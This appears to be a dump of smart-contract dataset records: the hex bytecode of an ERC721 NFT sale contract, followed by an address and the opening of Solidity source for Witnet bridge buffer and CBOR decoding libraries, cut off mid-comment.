ffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600a838386612436919061420c565b6124409190614293565b61244a9190614293565b90509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b990613e63565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516125b39190613cd8565b60405180910390a3505050565b6125cb848484611f66565b6125d784848484612943565b612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90613de3565b60405180910390fd5b50505050565b6060600c805461262b906143e1565b80601f0160208091040260200160405190810160405280929190818152602001828054612657906143e1565b80156126a45780601f10612679576101008083540402835291602001916126a4565b820191906000526020600020905b81548152906001019060200180831161268757829003601f168201915b5050505050905090565b606060008214156126f6576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061280a565b600082905060005b6000821461272857808061271190614444565b915050600a826127219190614262565b91506126fe565b60008167ffffffffffffffff811115612744576127436145e1565b5b6040519080825280601f01601f1916602001820160405280156127765781602001600182028036833780820191505090505b5090505b600085146128035760018261278f91906142ed565b9150600a8561279e91906144c5565b60306127aa919061420c565b60f81b8183815181106127c0576127bf6145b2565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856127fc9190614262565b945061277a565b8093505050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806128da57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806128ea57506128e982612ada565b5b9050919050565b6128fc838383612b44565b505050565b600081600001549050919050565b6001816000016000828254019250508190555050565b61293f828260405180602001604052806000815250612c58565b5050565b60006129648473ffffffffffffffffffffffffffffffffffffffff16612cb3565b15612acd578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261298d611dc7565b8786866040518563ffffffff1660e01b81526004016129af9493929190613c6a565b602060405180830381600087803b1580156129c957600080fd5b505af19250505080156129fa57506040513d601f19601f820116820180604052508101906129f791906135a8565b60015b612a7d573d8060008114612a2a576040519150601f19603f3d011682016040523d82523d6000602084013e612a2f565b606091505b50600081511415612a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6c90613de3565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612ad2565b600190505b949350505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612b4f838383612cc6565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b9257612b8d81612ccb565b612bd1565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612bd057612bcf8382612d14565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c1457612c0f81612e81565b612c53565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612c5257612c518282612f52565b5b5b505050565b612c628383612fd1565b612c6f6000848484612943565b612cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ca590613de3565b60405180910390fd5b505050565b600080823b905060008111915050919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001612d2184611611565b612d2b91906142ed565b9050600060076000848152602001908152602001600020549050818114612e10576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050612e9591906142ed565b9050600060096000848152602001908152602001600020549050600060088381548110612ec557612ec46145b2565b5b906000526020600020015490508060088381548110612ee757612ee66145b2565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612f3657612f35614583565b5b6001900381819060005260206000200160009055905550505050565b6000612f5d83611611565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613041576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161303890613f23565b60405180910390fd5b61304a81611d5b565b1561308a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161308190613e23565b60405180910390fd5b613096600083836128f1565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546130e6919061420c565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b8280546131ab906143e1565b90600052602060002090601f0160209004810192826131cd5760008555613214565b82601f106131e657805160ff1916838001178555613214565b82800160010185558215613214579182015b828111156132135782518255916020019190600101906131f8565b5b5090506132219190613225565b5090565b5b8082111561323e576000816000905550600101613226565b5090565b600061325561325084614123565b6140fe565b90508281526020810184848401111561327157613270614615565b5b61327c84828561439f565b509392505050565b600061329761329284614154565b6140fe565b9050828152602081018484840111156132b3576132b2614615565b5b6132be84828561439f565b509392505050565b6000813590506132d581614cf8565b92915050565b6000813590506132ea81614d0f565b92915050565b6000813590506132ff81614d26565b92915050565b60008151905061331481614d26565b92915050565b600082601f83011261332f5761332e614610565b5b813561333f848260208601613242565b91505092915050565b600082601f83011261335d5761335c614610565b5b813561336d848260208601613284565b91505092915050565b60008135905061338581614d3d565b92915050565b6000602082840312156133a1576133a061461f565b5b60006133af848285016132c6565b91505092915050565b600080604083850312156133cf576133ce61461f565b5b60006133dd858286016132c6565b92505060206133ee858286016132c6565b9150509250929050565b6000806000606084860312156134115761341061461f565b5b600061341f868287016132c6565b9350506020613430868287016132c6565b925050604061344186828701613376565b9150509250925092565b600080600080608085870312156134655761346461461f565b5b6000613473878288016132c6565b9450506020613484878288016132c6565b935050604061349587828801613376565b925050606085013567ffffffffffffffff8111156134b6576134b561461a565b5b6134c28782880161331a565b91505092959194509250565b600080604083850312156134e5576134e461461f565b5b60006134f3858286016132c6565b9250506020613504858286016132db565b9150509250929050565b600080604083850312156135255761352461461f565b5b6000613533858286016132c6565b925050602061354485828601613376565b9150509250929050565b6000602082840312156135645761356361461f565b5b6000613572848285016132db565b91505092915050565b6000602082840312156135915761359061461f565b5b600061359f848285016132f0565b91505092915050565b6000602082840312156135be576135bd61461f565b5b60006135cc84828501613305565b91505092915050565b6000602082840312156135eb576135ea61461f565b5b600082013567ffffffffffffffff8111156136095761360861461a565b5b61361584828501613348565b91505092915050565b6000602082840312156136345761363361461f565b5b600061364284828501613376565b91505092915050565b60006136578383613b93565b60208301905092915050565b61366c81614321565b82525050565b61368361367e82614321565b61448d565b82525050565b600061369482614195565b61369e81856141c3565b93506136a983614185565b8060005b838110156136da5781516136c1888261364b565b97506136cc836141b6565b9250506001810190506136ad565b5085935050505092915050565b6136f081614333565b82525050565b6136ff8161433f565b82525050565b6137166137118261433f565b61449f565b82525050565b6000613727826141a0565b61373181856141d4565b93506137418185602086016143ae565b61374a81614624565b840191505092915050565b6000613760826141ab565b61376a81856141f0565b935061377a8185602086016143ae565b61378381614624565b840191505092915050565b6000613799826141ab565b6137a38185614201565b93506137b38185602086016143ae565b80840191505092915050565b60006137cc600b836141f0565b91506137d782614642565b602082019050919050565b60006137ef602b836141f0565b91506137fa8261466b565b604082019050919050565b60006138126017836141f0565b915061381d826146ba565b602082019050919050565b60006138356032836141f0565b9150613840826146e3565b604082019050919050565b60006138586026836141f0565b915061386382614732565b604082019050919050565b600061387b601c836141f0565b915061388682614781565b602082019050919050565b600061389e6024836141f0565b91506138a9826147aa565b604082019050919050565b60006138c16019836141f0565b91506138cc826147f9565b602082019050919050565b60006138e4602c836141f0565b91506138ef82614822565b604082019050919050565b60006139076038836141f0565b915061391282614871565b604082019050919050565b600061392a602a836141f0565b9150613935826148c0565b604082019050919050565b600061394d6029836141f0565b91506139588261490f565b604082019050919050565b6000613970600c836141f0565b915061397b8261495e565b602082019050919050565b60006139936020836141f0565b915061399e82614987565b602082019050919050565b60006139b6602c836141f0565b91506139c1826149b0565b604082019050919050565b60006139d96020836141f0565b91506139e4826149ff565b602082019050919050565b60006139fc6029836141f0565b9150613a0782614a28565b604082019050919050565b6000613a1f602f836141f0565b9150613a2a82614a77565b604082019050919050565b6000613a426021836141f0565b9150613a4d82614ac6565b604082019050919050565b6000613a656000836141e5565b9150613a7082614b15565b600082019050919050565b6000613a886010836141f0565b9150613a9382614b18565b602082019050919050565b6000613aab6031836141f0565b9150613ab682614b41565b604082019050919050565b6000613ace600f836141f0565b9150613ad982614b90565b602082019050919050565b6000613af1602c836141f0565b9150613afc82614bb9565b604082019050919050565b6000613b146013836141f0565b9150613b1f82614c08565b602082019050919050565b6000613b376021836141f0565b9150613b4282614c31565b604082019050919050565b6000613b5a600c836141f0565b9150613b6582614c80565b602082019050919050565b6000613b7d6030836141f0565b9150613b8882614ca9565b604082019050919050565b613b9c81614395565b82525050565b613bab81614395565b82525050565b613bc2613bbd82614395565b6144bb565b82525050565b6000613bd4828561378e565b9150613be0828461378e565b91508190509392505050565b6000613bf782613a58565b9150819050919050565b6000613c0d8287613bb1565b602082019150613c1d8286613bb1565b602082019150613c2d8285613705565b602082019150613c3d8284613672565b60148201915081905095945050505050565b6000602082019050613c646000830184613663565b92915050565b6000608082019050613c7f6000830187613663565b613c8c6020830186613663565b613c996040830185613ba2565b8181036060830152613cab818461371c565b905095945050505050565b60006020820190508181036000830152613cd08184613689565b905092915050565b6000602082019050613ced60008301846136e7565b92915050565b6000602082019050613d0860008301846136f6565b92915050565b600060a082019050613d2360008301886136f6565b613d306020830187613ba2565b613d3d6040830186613ba2565b613d4a6060830185613ba2565b613d576080830184613ba2565b9695505050505050565b60006020820190508181036000830152613d7b8184613755565b905092915050565b60006020820190508181036000830152613d9c816137bf565b9050919050565b60006020820190508181036000830152613dbc816137e2565b9050919050565b60006020820190508181036000830152613ddc81613805565b9050919050565b60006020820190508181036000830152613dfc81613828565b9050919050565b60006020820190508181036000830152613e1c8161384b565b9050919050565b60006020820190508181036000830152613e3c8161386e565b9050919050565b60006020820190508181036000830152613e5c81613891565b9050919050565b60006020820190508181036000830152613e7c816138b4565b9050919050565b60006020820190508181036000830152613e9c816138d7565b9050919050565b60006020820190508181036000830152613ebc816138fa565b9050919050565b60006020820190508181036000830152613edc8161391d565b9050919050565b60006020820190508181036000830152613efc81613940565b9050919050565b60006020820190508181036000830152613f1c81613963565b9050919050565b60006020820190508181036000830152613f3c81613986565b9050919050565b60006020820190508181036000830152613f5c816139a9565b9050919050565b60006020820190508181036000830152613f7c816139cc565b9050919050565b60006020820190508181036000830152613f9c816139ef565b9050919050565b60006020820190508181036000830152613fbc81613a12565b9050919050565b60006020820190508181036000830152613fdc81613a35565b9050919050565b60006020820190508181036000830152613ffc81613a7b565b9050919050565b6000602082019050818103600083015261401c81613a9e565b9050919050565b6000602082019050818103600083015261403c81613ac1565b9050919050565b6000602082019050818103600083015261405c81613ae4565b9050919050565b6000602082019050818103600083015261407c81613b07565b9050919050565b6000602082019050818103600083015261409c81613b2a565b9050919050565b600060208201905081810360008301526140bc81613b4d565b9050919050565b600060208201905081810360008301526140dc81613b70565b9050919050565b60006020820190506140f86000830184613ba2565b92915050565b6000614108614119565b90506141148282614413565b919050565b6000604051905090565b600067ffffffffffffffff82111561413e5761413d6145e1565b5b61414782614624565b9050602081019050919050565b600067ffffffffffffffff82111561416f5761416e6145e1565b5b61417882614624565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600061421782614395565b915061422283614395565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614257576142566144f6565b5b828201905092915050565b600061426d82614395565b915061427883614395565b92508261428857614287614525565b5b828204905092915050565b600061429e82614395565b91506142a983614395565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156142e2576142e16144f6565b5b828202905092915050565b60006142f882614395565b915061430383614395565b925082821015614316576143156144f6565b5b828203905092915050565b600061432c82614375565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156143cc5780820151818401526020810190506143b1565b838111156143db576000848401525b50505050565b600060028204905060018216806143f957607f821691505b6020821081141561440d5761440c614554565b5b50919050565b61441c82614624565b810181811067ffffffffffffffff8211171561443b5761443a6145e1565b5b80604052505050565b600061444f82614395565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614482576144816144f6565b5b600182019050919050565b6000614498826144a9565b9050919050565b6000819050919050565b60006144b482614635565b9050919050565b6000819050919050565b60006144d082614395565b91506144db83614395565b9250826144eb576144ea614525565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f53616c6520706175736564000000000000000000000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f45786365656473206d6178207065722061646472657373000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4d696e696d756d206f6620310000000000000000000000000000000000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f4e6f7420656e6f756768206c6566740000000000000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f42656c6f77206d696e696d756d20707269636500000000000000000000000000600082015250565b7f4e6f7420656e6f756768206c65667420746f206d696e742074686174206d616e60008201527f7900000000000000000000000000000000000000000000000000000000000000602082015250565b7f53616c65206973206f7665720000000000000000000000000000000000000000600082015250565b7f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656400000000000000000000000000000000602082015250565b614d0181614321565b8114614d0c57600080fd5b50565b614d1881614333565b8114614d2357600080fd5b50565b614d2f81614349565b8114614d3a57600080fd5b50565b614d4681614395565b8114614d5157600080fd5b5056fe6261666b7265696532637071707763706177646174347a783274636b6e68686169667071666e7276356f7a676f346d6962717764796f7775663271a2646970667358221220ed2de743155043a7a76140e972be9a71c25904a67513e547f826fd7a21a1d99d64736f6c63430008070033
[ 10, 5 ]
0xF2712e7114A237625EFC8bBA6a6ed1Bb8b6029c9
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; pragma experimental ABIEncoderV2; // File: witnet-ethereum-bridge/contracts/Request.sol /** * @title The serialized form of a Witnet data request */ contract Request { bytes public bytecode; /** * @dev A `Request` is constructed around a `bytes memory` value containing a well-formed Witnet data request serialized * using Protocol Buffers. However, we cannot verify its validity at this point. This implies that contracts using * the WRB should not be considered trustless before a valid Proof-of-Inclusion has been posted for the requests. * The hash of the request is computed in the constructor to guarantee consistency. Otherwise there could be a * mismatch and a data request could be resolved with the result of another. * @param _bytecode Witnet request in bytes. */ constructor(bytes memory _bytecode) { bytecode = _bytecode; } } // File: witnet-ethereum-bridge/contracts/BufferLib.sol /** * @title A convenient wrapper around the `bytes memory` type that exposes a buffer-like interface * @notice The buffer has an inner cursor that tracks the final offset of every read, i.e. any subsequent read will * start with the byte that goes right after the last one in the previous read. * @dev `uint32` is used here for `cursor` because `uint16` would only enable seeking up to 8KB, which could in some * theoretical use cases be exceeded. Conversely, `uint32` supports up to 512MB, which cannot credibly be exceeded. */ library BufferLib { struct Buffer { bytes data; uint32 cursor; } // Ensures we access an existing index in an array modifier notOutOfBounds(uint32 index, uint256 length) { require(index < length, "Tried to read from a consumed Buffer (must rewind it first)"); _; } /** * @notice Read and consume a certain amount of bytes from the buffer. * @param _buffer An instance of `BufferLib.Buffer`. * @param _length How many bytes to read and consume from the buffer. * @return A `bytes memory` containing the first `_length` bytes from the buffer, counting from the cursor position. */ function read(Buffer memory _buffer, uint32 _length) internal pure returns (bytes memory) { // Make sure not to read out of the bounds of the original bytes require(_buffer.cursor + _length <= _buffer.data.length, "Not enough bytes in buffer when reading"); // Create a new `bytes memory destination` value bytes memory destination = new bytes(_length); // Early return in case that bytes length is 0 if (_length != 0) { bytes memory source = _buffer.data; uint32 offset = _buffer.cursor; // Get raw pointers for source and destination uint sourcePointer; uint destinationPointer; assembly { sourcePointer := add(add(source, 32), offset) destinationPointer := add(destination, 32) } // Copy `_length` bytes from source to destination memcpy(destinationPointer, sourcePointer, uint(_length)); // Move the cursor forward by `_length` bytes seek(_buffer, _length, true); } return destination; } /** * @notice Read and consume the next byte from the buffer. * @param _buffer An instance of `BufferLib.Buffer`. * @return The next byte in the buffer counting from the cursor position. */ function next(Buffer memory _buffer) internal pure notOutOfBounds(_buffer.cursor, _buffer.data.length) returns (bytes1) { // Return the byte at the position marked by the cursor and advance the cursor all at once return _buffer.data[_buffer.cursor++]; } /** * @notice Move the inner cursor of the buffer to a relative or absolute position. * @param _buffer An instance of `BufferLib.Buffer`. * @param _offset How many bytes to move the cursor forward. * @param _relative Whether to count `_offset` from the last position of the cursor (`true`) or the beginning of the * buffer (`true`). * @return The final position of the cursor (will equal `_offset` if `_relative` is `false`). */ // solium-disable-next-line security/no-assign-params function seek(Buffer memory _buffer, uint32 _offset, bool _relative) internal pure returns (uint32) { // Deal with relative offsets if (_relative) { require(_offset + _buffer.cursor > _offset, "Integer overflow when seeking"); _offset += _buffer.cursor; } // Make sure not to read out of the bounds of the original bytes require(_offset <= _buffer.data.length, "Not enough bytes in buffer when seeking"); _buffer.cursor = _offset; return _buffer.cursor; } /** * @notice Move the inner cursor a number of bytes forward. * @dev This is a simple wrapper around the relative offset case of `seek()`. * @param _buffer An instance of `BufferLib.Buffer`. * @param _relativeOffset How many bytes to move the cursor forward. * @return The final position of the cursor. */ function seek(Buffer memory _buffer, uint32 _relativeOffset) internal pure returns (uint32) { return seek(_buffer, _relativeOffset, true); } /** * @notice Move the inner cursor back to the first byte in the buffer. * @param _buffer An instance of `BufferLib.Buffer`. */ function rewind(Buffer memory _buffer) internal pure { _buffer.cursor = 0; } /** * @notice Read and consume the next byte from the buffer as an `uint8`. * @param _buffer An instance of `BufferLib.Buffer`. * @return The `uint8` value of the next byte in the buffer counting from the cursor position. */ function readUint8(Buffer memory _buffer) internal pure notOutOfBounds(_buffer.cursor, _buffer.data.length) returns (uint8) { bytes memory bytesValue = _buffer.data; uint32 offset = _buffer.cursor; uint8 value; assembly { value := mload(add(add(bytesValue, 1), offset)) } _buffer.cursor++; return value; } /** * @notice Read and consume the next 2 bytes from the buffer as an `uint16`. * @param _buffer An instance of `BufferLib.Buffer`. * @return The `uint16` value of the next 2 bytes in the buffer counting from the cursor position. */ function readUint16(Buffer memory _buffer) internal pure notOutOfBounds(_buffer.cursor + 1, _buffer.data.length) returns (uint16) { bytes memory bytesValue = _buffer.data; uint32 offset = _buffer.cursor; uint16 value; assembly { value := mload(add(add(bytesValue, 2), offset)) } _buffer.cursor += 2; return value; } /** * @notice Read and consume the next 4 bytes from the buffer as an `uint32`. * @param _buffer An instance of `BufferLib.Buffer`. * @return The `uint32` value of the next 4 bytes in the buffer counting from the cursor position. */ function readUint32(Buffer memory _buffer) internal pure notOutOfBounds(_buffer.cursor + 3, _buffer.data.length) returns (uint32) { bytes memory bytesValue = _buffer.data; uint32 offset = _buffer.cursor; uint32 value; assembly { value := mload(add(add(bytesValue, 4), offset)) } _buffer.cursor += 4; return value; } /** * @notice Read and consume the next 8 bytes from the buffer as an `uint64`. * @param _buffer An instance of `BufferLib.Buffer`. * @return The `uint64` value of the next 8 bytes in the buffer counting from the cursor position. */ function readUint64(Buffer memory _buffer) internal pure notOutOfBounds(_buffer.cursor + 7, _buffer.data.length) returns (uint64) { bytes memory bytesValue = _buffer.data; uint32 offset = _buffer.cursor; uint64 value; assembly { value := mload(add(add(bytesValue, 8), offset)) } _buffer.cursor += 8; return value; } /** * @notice Read and consume the next 16 bytes from the buffer as an `uint128`. * @param _buffer An instance of `BufferLib.Buffer`. * @return The `uint128` value of the next 16 bytes in the buffer counting from the cursor position. */ function readUint128(Buffer memory _buffer) internal pure notOutOfBounds(_buffer.cursor + 15, _buffer.data.length) returns (uint128) { bytes memory bytesValue = _buffer.data; uint32 offset = _buffer.cursor; uint128 value; assembly { value := mload(add(add(bytesValue, 16), offset)) } _buffer.cursor += 16; return value; } /** * @notice Read and consume the next 32 bytes from the buffer as an `uint256`. * @return The `uint256` value of the next 32 bytes in the buffer counting from the cursor position. * @param _buffer An instance of `BufferLib.Buffer`. */ function readUint256(Buffer memory _buffer) internal pure notOutOfBounds(_buffer.cursor + 31, _buffer.data.length) returns (uint256) { bytes memory bytesValue = _buffer.data; uint32 offset = _buffer.cursor; uint256 value; assembly { value := mload(add(add(bytesValue, 32), offset)) } _buffer.cursor += 32; return value; } /** * @notice Read and consume the next 2 bytes from the buffer as an IEEE 754-2008 floating point number enclosed in an * `int32`. * @dev Due to the lack of support for floating or fixed point arithmetic in the EVM, this method offsets all values * by 5 decimal orders so as to get a fixed precision of 5 decimal positions, which should be OK for most `float16` * use cases. In other words, the integer output of this method is 10,000 times the actual value. The input bytes are * expected to follow the 16-bit base-2 format (a.k.a. `binary16`) in the IEEE 754-2008 standard. * @param _buffer An instance of `BufferLib.Buffer`. * @return The `uint32` value of the next 4 bytes in the buffer counting from the cursor position. */ function readFloat16(Buffer memory _buffer) internal pure returns (int32) { uint32 bytesValue = readUint16(_buffer); // Get bit at position 0 uint32 sign = bytesValue & 0x8000; // Get bits 1 to 5, then normalize to the [-14, 15] range so as to counterweight the IEEE 754 exponent bias int32 exponent = (int32(bytesValue & 0x7c00) >> 10) - 15; // Get bits 6 to 15 int32 significand = int32(bytesValue & 0x03ff); // Add 1024 to the fraction if the exponent is 0 if (exponent == 15) { significand |= 0x400; } // Compute `2 ^ exponent · (1 + fraction / 1024)` int32 result = 0; if (exponent >= 0) { result = int32((int256(1 << uint256(int256(exponent))) * 10000 * int256(uint256(int256(significand)) | 0x400)) >> 10); } else { result = int32(((int256(uint256(int256(significand)) | 0x400) * 10000) / int256(1 << uint256(int256(- exponent)))) >> 10); } // Make the result negative if the sign bit is not 0 if (sign != 0) { result *= - 1; } return result; } /** * @notice Copy bytes from one memory address into another. * @dev This function was borrowed from Nick Johnson's `solidity-stringutils` lib, and reproduced here under the terms * of [Apache License 2.0](https://github.com/Arachnid/solidity-stringutils/blob/master/LICENSE). * @param _dest Address of the destination memory. * @param _src Address to the source memory. * @param _len How many bytes to copy. */ // solium-disable-next-line security/no-assign-params function memcpy(uint _dest, uint _src, uint _len) private pure { require(_len > 0, "Cannot copy 0 bytes"); // Copy word-length chunks while possible for (; _len >= 32; _len -= 32) { assembly { mstore(_dest, mload(_src)) } _dest += 32; _src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - _len) - 1; assembly { let srcpart := and(mload(_src), not(mask)) let destpart := and(mload(_dest), mask) mstore(_dest, or(destpart, srcpart)) } } } // File: witnet-ethereum-bridge/contracts/CBOR.sol /** * @title A minimalistic implementation of “RFC 7049 Concise Binary Object Representation” * @notice This library leverages a buffer-like structure for step-by-step decoding of bytes so as to minimize * the gas cost of decoding them into a useful native type. * @dev Most of the logic has been borrowed from Patrick Gansterer’s cbor.js library: https://github.com/paroga/cbor-js * TODO: add support for Array (majorType = 4) * TODO: add support for Map (majorType = 5) * TODO: add support for Float32 (majorType = 7, additionalInformation = 26) * TODO: add support for Float64 (majorType = 7, additionalInformation = 27) */ library CBOR { using BufferLib for BufferLib.Buffer; uint32 constant internal UINT32_MAX = type(uint32).max; uint64 constant internal UINT64_MAX = type(uint64).max; struct Value { BufferLib.Buffer buffer; uint8 initialByte; uint8 majorType; uint8 additionalInformation; uint64 len; uint64 tag; } /** * @notice Decode a `CBOR.Value` structure into a native `bool` value. * @param _cborValue An instance of `CBOR.Value`. * @return The value represented by the input, as a `bool` value. */ function decodeBool(Value memory _cborValue) public pure returns(bool) { _cborValue.len = readLength(_cborValue.buffer, _cborValue.additionalInformation); require(_cborValue.majorType == 7, "Tried to read a `bool` value from a `CBOR.Value` with majorType != 7"); if (_cborValue.len == 20) { return false; } else if (_cborValue.len == 21) { return true; } else { revert("Tried to read `bool` from a `CBOR.Value` with len different than 20 or 21"); } } /** * @notice Decode a `CBOR.Value` structure into a native `bytes` value. * @param _cborValue An instance of `CBOR.Value`. * @return The value represented by the input, as a `bytes` value. */ function decodeBytes(Value memory _cborValue) public pure returns(bytes memory) { _cborValue.len = readLength(_cborValue.buffer, _cborValue.additionalInformation); if (_cborValue.len == UINT32_MAX) { bytes memory bytesData; // These checks look repetitive but the equivalent loop would be more expensive. uint32 itemLength = uint32(readIndefiniteStringLength(_cborValue.buffer, _cborValue.majorType)); if (itemLength < UINT32_MAX) { bytesData = abi.encodePacked(bytesData, _cborValue.buffer.read(itemLength)); itemLength = uint32(readIndefiniteStringLength(_cborValue.buffer, _cborValue.majorType)); if (itemLength < UINT32_MAX) { bytesData = abi.encodePacked(bytesData, _cborValue.buffer.read(itemLength)); } } return bytesData; } else { return _cborValue.buffer.read(uint32(_cborValue.len)); } } /** * @notice Decode a `CBOR.Value` structure into a `fixed16` value. * @dev Due to the lack of support for floating or fixed point arithmetic in the EVM, this method offsets all values * by 5 decimal orders so as to get a fixed 